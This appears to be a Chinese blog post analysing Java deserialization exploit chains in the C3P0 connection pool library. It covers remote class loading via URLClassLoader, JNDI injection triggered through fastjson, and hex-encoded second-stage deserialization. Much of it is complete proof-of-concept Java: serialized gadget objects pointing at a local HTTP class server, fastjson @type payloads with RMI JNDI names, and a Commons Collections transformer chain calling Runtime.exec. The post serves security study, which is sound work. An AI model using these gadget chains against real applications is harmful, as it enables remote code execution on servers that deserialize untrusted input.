C3P0
概述
C3P0是一个开源的数据库连接池,它实现了数据源于JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。
连接池的定义:连接池类似于线程池,简单来说其实就是这里定义了一个句柄,当需要进行数据库连接时会直接使用这个句柄,而不是多次重复频繁地创建或销毁句柄,造成很大的资源消耗。而当不使用时将其放回到连接池中。
为了避免频繁地创建和销毁JDBC链接,我们就可以通过连接池(Connection Pool)复用已经创建好的连接。
maven依赖如下:
1
2
3
4
5
|
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
|
测试环境:
利用
常见的利用方式有如下三种:
- URLClassLoader远程类加载
- JNDI注入
- 利用HEX序列化字节加载器进行反序列化攻击
URLClassLoader远程类加载
URLClassLoader这个类加载器也是前面了解过的,可以用来加载远程类,这里的调用链过程如下:
1
2
3
4
|
PoolBackedDataSourceBase#readObject
ReferenceSerialized#getObject
ReferenceableUtils#referenceToObject
ObjectFactory#getObjectInstance
|
跟进PoolBackedDataSourceBase类的readObject()方法:

满足这里反序列化出来的类是IndirectlySerialized的实现类就会调用到这个类的getObject()方法,看一下PoolBackedDataSourceBase类的writeObject()方法:

可以看到反序列化要利用的类对应的就是connectionPoolDataSource变量,变量定义如下:

还有个setter方法来对这个变量进行设值,要求类型为ConnectionPoolDataSource,但是这个类型相对应的类是没有实现Serializable接口的,所以是不可序列化的,在尝试序列化是会直接报错进行到catch语句,主要实现逻辑就是SerializableUtils.toByteArray()方法会尝试进行序列化,这里的SerializableUtils类的toByteArray()方法会调用serializeToByteArray()方法:

也就是会先检测是否可以序列化。
所以其实在writeObject()方法中,是会在catch中进行序列化:

可以看到这里是实例化了一个ReferenceIndirector类,然后调用这个类的indirectForm()方法,最后序列化这个方法返回的类,那么我们跟进ReferenceIndirector类的indirectForm()方法:

可以看到这里对传进来的类实例调用了一个getReference()方法,这个getReference()方法在我们学习jndi注入时还是比较常用,就是获取被引用的类,然后实例化了一个ReferenceSerialized被用于序列化。
看了一下,这个ReferenceSerialized类是实现了IndirectlySerialized接口的,所以这里是可以在反序列化时正常利用的。
再看反序列化调用,那么就会调用到ReferenceSerialized类的getObject()方法:

如果这里的contextName变量可控的话,那么就可以打一次jndi注入,溯源了一下contextName的赋值,想要利用的话,其实就是需要控制ReferenceIndirector类的初始化,但是这个类是在序列化时直接初始化的,不可控。
那么继续跟进ReferenceableUtils类的referenceToObject()方法:

可以看到是调用了URLClassLoader类加载器来进行远程类加载,主要的需要利用的点是ref,并且这个是可控的,就是序列化时调用getReference()方法得到的类:

所以现在主要的点就是看这里我们需要将这个o设置成什么类,也就是PoolBackedDataSourceBase类的connectionPoolDataSource变量设置成什么需要的类,可以发现这里是有一个类型转换的,强制转换为了Referenceable,根据这个接口类找了一下,没发现可以直接利用的类。
那么这里可以尝试自己实现这个类,在序列化时将其写进去(这里有点问题,看后面会有说明,可以先自己想一下为什么之类需要自定义类,具体的实现过程又是什么),达到在反序列化时成功调用的效果,就是需要满足一些条件,以使得可以在序列化或者反序列化时达到想要的效果:
- 没有实现Serializable接口
- 实现ConnectionPoolDataSource接口
- 实现Referenceable接口
最后的POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
package C3P0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class Main {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase pool = new PoolBackedDataSourceBase(false);
Reference ref = new Reference("MyTest", "MyTest", "http://127.0.0.1:7979/");
PoolTest poolTest = new PoolTest(ref);
pool.setConnectionPoolDataSource(poolTest);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(pool);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
}
class PoolTest implements Referenceable,ConnectionPoolDataSource{
public Reference reference;
public PoolTest(Reference reference){
this.reference = reference;
}
@Override
public Reference getReference() throws NamingException {
return this.reference;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
|
需要定义一个远程HTTP服务用于类加载:

然后运行即可弹出计算机。
————
对于这里自定义类的利用方法,在反序列化时调试了一下,其实是一个非常好用的点,这里我自定义了一个PoolTest类,只是用于一个过渡,只是为了在序列化时放入想要的类:

序列化正常调用时会调用到如上的方法,我们最后要序列化的类是ReferenceSerialized类,这里我们自定义了PoolTest类,为的就是能够在这里调用getTeference()方法时返回一个定义好了的Reference类,这样在反序列化调用到ReferenceSerialized类的getObject()方法时可以利用到我们构造好的Reference,从而达到远程类加载的过程。所以其实这里序列化是完全没有序列化自定义的PoolTest类的,只是起到了一个过渡的作用,用来提供我们需要利用的Reference类。
最后,可以注意到ReferenceableUtils类的referenceToObject()方法调用Class.forname()时,是设置为了true的,所以可以尝试直接在Class.forName()时直接进行命令执行,而不是调用newInstance()方法时才命令执行,并且测试成功。
打本地类*
算是上面的URLClassLoader的延伸,当Reference类的classFactoryLocation为null时,就不会进行远程类加载,而是在本地进行寻找利用。这里可以参考高版本jndi注入的打法,参考如下文章:
https://xz.aliyun.com/news/11340
————————
结合fastjson达到JNDI注入
这里主要是需要调用到setter方法,需要找一个可以触发setter方法的利用点,比较经典的就是fastjson了,当然jackson应该也可以。
这里的sink点位于JndiRefForwardingDataSource类的dereference()方法:

简单看了一下这里关键的getJndiName()方法,这个方法存在于父类JndiRefDataSourceBase中,然后还有setter来进行设置值:

从代码逻辑看是可以将其设置为一个字符串类型的,可以尝试打jndi注入。
那么看哪里调用了dereference()方法,全局搜索看到在inner()方法有调用:

再看哪里调用了inner()方法:

主要就是如上的几个getter和setter可以调用。
感觉可以直接打反序列化调用链触发getter方法。但是这个类没有被public修饰,而是被final修饰,外部无法实例化,只能放弃从反序列化调用链来打。
但是可以看到还有setter方法有调用到inner()方法,所以我们可以尝试打fastjson反序列化触发,这里以低版本的fastjson反序列化为例来触发:
1
2
3
4
5
6
7
8
9
10
11
|
package C3P0;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class Main{
public static void main(String[] args) {
String json = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"rmi://127.0.0.1:1099/Hello\",\"loginTimeout\":\"1\"}";
JSONObject obj = JSON.parseObject(json);
}
}
|
成功弹出计算机。
——————
但是看网上的文章,是打的另外一个类,但本质也是调用的setLoginTimeout()方法来进行的jndi注入,多加了几个过渡类并且入口类也不同了,可以用来绕过,学习一下。
定位到JndiRefConnectionPoolDataSource类的setLoginTimeout()方法:

跟进wcpds变量的赋值,发现在JndiRefConnectionPoolDataSource类实例化时有对变量赋值的操作:

可以看这里实例化了一个JndiRefForwardingDataSource类实例,也就是前面利用到的类,这里还实例化了一个WrapperConnectionPoolDataSource类。我们可以看到这里调用了setNestedDataSource方法来对WrapperConnectionPoolDataSource类变量进行赋值:

也就是将WrapperConnectionPoolDataSource类的变量nestedDataSource赋值为JndiRefForwardingDataSource类实例。
再看JndiRefConnectionPoolDataSource类的setLoginTimeout()方法:

这里会调用WrapperConnectionPoolDataSource类父类WrapperConnectionPoolDataSourceBase的setLoginTimeout()方法:

看这里的getNestedDataSource()方法:

对应的就是前面的jrfds变量,也就是JndiRefForwardingDataSource类实例,那么之类就是可以调用到JndiRefForwardingDataSource类的setLoginTimeout()方法,实现一次前面分析过的触发jndi注入的调用链。
并且JndiRefConnectionPoolDataSource类提供了setJndiName()方法来对变量进行赋值:

这样就赋值需要满足的条件了。
基本过程已经清晰,如下POC:
1
2
3
4
5
6
7
8
9
10
11
|
package C3P0;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class Main{
public static void main(String[] args) {
String json = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\",\"jndiName\":\"rmi://127.0.0.1:1099/Hello\",\"loginTimeout\":\"1\"}";
JSONObject obj = JSON.parseObject(json);
}
}
|
也是打jndi弹出计算机。
——————
看思路的过程中,我对于打fastjson反序列化调用链的想法又死灰复燃了:
可以看到JndiRefConnectionPoolDataSource类是public修饰的类,并且有public的构造方法,还实现了Serializable接口:

并且还定义了JndiRefForwardingDataSource类可以调用到inner()方法的几个方法:

就反序列化来说,为了方便,这里肯定是需要利用getter,这里的getLoginTimeout()就非常符合,对于wcpds调用的getLoginTimeout()方法,其实我在前面的截图也是截出来了的:

熟悉的getNestedDataSource()方法,熟悉的JndiRefForwardingDataSource类实例,并且正如前面分析,JndiRefConnectionPoolDataSource类还提供了一个setJndiName()方法来给我们需要改变的变量赋值。完美符合,那么可以尝试构造如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
package C3P0;
import com.alibaba.fastjson.JSONObject;
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class Main{
public static void main(String[] args) throws Exception{
JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource(false);
jndiRefConnectionPoolDataSource.setJndiName("rmi://127.0.0.1:1099/Hello");
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc",jndiRefConnectionPoolDataSource);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field f = bad.getClass().getDeclaredField("val");
f.setAccessible(true);
f.set(bad,jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
}
|
运行报错,并且调试也调试不动,查看报错内容:

可以看到主要是和一个reregister有关,在想是不是JndiRefConnectionPoolDataSource的父类实现了readObject(),简单跟进了IdentityTokenResolvable类,确实存在报错中弹出的几个方法:

在这里我看到了一个C3P0Registry.reregister()方法,想到了在初始化JndiRefConnectionPoolDataSource类时也有这方面的代码:

为了方便我把autoregister设置成了false,可以少分析一些代码,那么这里将其设置为true尝试一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
package C3P0;
import com.alibaba.fastjson.JSONObject;
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class Main{
public static void main(String[] args) throws Exception{
JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource();
jndiRefConnectionPoolDataSource.setJndiName("rmi://127.0.0.1:1099/Hello");
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc",jndiRefConnectionPoolDataSource);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field f = bad.getClass().getDeclaredField("val");
f.setAccessible(true);
f.set(bad,jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
}
|
成功弹出计算机。
哦哦哦哦,成功了!!!
但是在调试过程中,可以发现是调用的另外的getter方法,而不是我们想要利用的getLoginTimeout()方法:

影响不大,因为JndiRefForwardingDataSource类的getLogWriter()方法也是调用了inner()方法的,也是前面一直都在截图中表现出来的:

最后成功在反序列化调用链中实现jndi注入,后面看了一下,rome链应该也可以触发这个getter方法从而来打jndi注入,链子就不搓了,都差不多的。
感觉网上对于这个点反序列化链没怎么分析,后续可以考虑用来出题试试。
综上,有三个利用点。
Hex序列化
这里利用到的类是WrapperConnectionPoolDataSource,这个类位于com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
,其实前面打jndi那里都是说过的。在这里可以用来打二次反序列化。
————————
定位到这个类的构造方法:

这里先分析图中框出来的方法,在参数传递中,这里会调用getUserOverridesAsString()方法,这里会调用到父类WrapperConnectionPoolDataSourceBase的getUserOverridesAsString()方法:

会返回这个值。
那么现在跟进C3P0ImplUtils类的parseUserOverridesAsString()方法:

可以看到对字符串进行了截取操作,获取的HASM_HEADER变量长度然后再进行的截取,看一下这个变量的定义:

可以看到是有硬编码进去的变量,然后我注意到这里的一个方法:createUserOverridesAsString(),不管是方法名或者这里逻辑,感觉都非常符合前面的截取操作,方法中间调用的SerializableUtils.toByteArray是一个序列化操作,跟进就知道了,并且外面套的ByteUtils类的toHexAscii()方法是一个hex编码的操作,和后面的分析也非常符合,这么巧?先不管,后续利用的时候再看看。
然后调用了ByteUtils类的fromHexAscii()方法,这是一个hex解码的操作,然后再跟进会调用的SerializableUtils类的fromByteArray()方法:

再跟进deserializeFromByteArray()方法:

这里有一个反序列化的操作,那么现在就是看怎么控制这个bytes变量了。
从前面的分析中,我们其实已经可控这个userOverridesAsString变量了,唯一问题就是怎么进行利用,直接看一个正面使用例子,再慢慢分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
package C3P0;
import com.mchange.v2.c3p0.impl.C3P0ImplUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.lang.reflect.Field;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;
import java.util.Map;
import java.lang.Runtime;
public class Main{
public static void main(String[] args) throws Exception{
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(fakeTransformer);
Map haha = new HashMap();
Map lazy = LazyMap.decorate(haha,chain);
TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
HashMap hashMap = new HashMap();
hashMap.put(outerMap,"fupanc");
haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行
Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
x.setAccessible(true);
x.set(chain,chainpart);
WrapperConnectionPoolDataSource wrapperConnectionPoolDataSource = new WrapperConnectionPoolDataSource();
String hex = C3P0ImplUtils.createUserOverridesAsString(hashMap);
System.out.println(hex);
wrapperConnectionPoolDataSource.setUserOverridesAsString(hex);
}
}
|
运行弹出计算机。现在肯定还存在疑问,不是只在实例化时才会调用parseUserOverridesAsString()方法,从而可以触发到反序列化,但是刚开始序列化时是没有值的,是进行不了的,放入值是在后面的setUserOverridesAsString()方法中,为什么可以利用到呢?其实重点就是这个setUserOverridesAsString()方法,看后续分析。
这里要先说明几个点:
对于hex编码以及长度控制,我这里是直接利用的C3P0ImplUtils类的createUserOverridesAsString()方法,这个方法要求参数为Map类型:

并且这个方法是静态方法,调用静态方法可通过类名访问或者对象访问。所以我这里是通过C3P0ImplUtils.createUserOverridesAsString()
方法直接生成的需要的数据。
当然如果是网上的利用方法,应该是可以接其他的入口类的,我这里就只能接Map实现对象。
———
现在再来看这个setUserOverridesAsString()方法,可以在CC链的Transform方法打一个断点来看调用栈,比较关键的就是如下:
1
2
3
4
5
6
7
8
9
|
readObject:371, ObjectInputStream (java.io)
deserializeFromByteArray:144, SerializableUtils (com.mchange.v2.ser)
fromByteArray:123, SerializableUtils (com.mchange.v2.ser)
parseUserOverridesAsString:318, C3P0ImplUtils (com.mchange.v2.c3p0.impl)
vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)
fireVetoableChange:375, VetoableChangeSupport (java.beans)
fireVetoableChange:271, VetoableChangeSupport (java.beans)
setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)
main:36, Main (C3P0)
|
调试跟进setUserOverridesAsString()方法:

原先的userOverridesAsString本来就没有赋值,所以为null,跟进eqOrBothNull()方法:

很正常会返回false,看这里的vcs变量的定义:

看一下VetoableChangeSupport类的实例化:

所以这里的vcs变量定义如下是非常正常的:

所以会调用到VetoableChangeSupport类的fireVetoableChange()方法:

实例化了一个PropertyChangeEvent类,效果如下:

再回去看,会调用到另一个重载的fireVetoableChange()方法,比较关键的如下代码:

然后会调用到WrapperConnectionPoolDataSource类的setUpPropertyListeners()方法,其实这个方法在WrapperConnectionPoolDataSource类初始化事也调用了的,看这个方法内部:

可以看到再次调用了C3P0ImplUtils类的parseUserOverridesAsString()方法,这里的过程就和前面分析的差不多了,就不多赘述了。
所以这里就是利用到这个setter方法即可,在fastjson中的打法如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
package C3P0;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.mchange.v2.c3p0.impl.C3P0ImplUtils;
import java.lang.reflect.Field;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;
import java.util.Map;
import java.lang.Runtime;
public class Main{
public static void main(String[] args) throws Exception{
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(fakeTransformer);
Map haha = new HashMap();
Map lazy = LazyMap.decorate(haha,chain);
TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
HashMap hashMap = new HashMap();
hashMap.put(outerMap,"fupanc");
haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行
Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
x.setAccessible(true);
x.set(chain,chainpart);
String hex = C3P0ImplUtils.createUserOverridesAsString(hashMap);
System.out.println(hex);
String json = "{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\""+hex+"\"}";
// System.out.println(json);
JSONObject obj = JSON.parseObject(json);
}
}
|
运行弹出计算机。
对于这一部分的说法,这一篇先知文章的说法也是挺有意思的,监听改变然后进行处理:https://xz.aliyun.com/news/11340
这样的话就利用不了,监听属性,那么肯定是需要类的属性有改变,对于getter方法的调用是无法进行的。
最后,其实上面的点大部分都是调用的setter,只是我找到了一条触发getter的反序列化调用链,调用setter都是使用的fastjson,档案使用jackson应该也是可以的。
参考文章:
https://nivi4.notion.site/C3P0-5f394336d9604e8ca80e0bb55c4ce473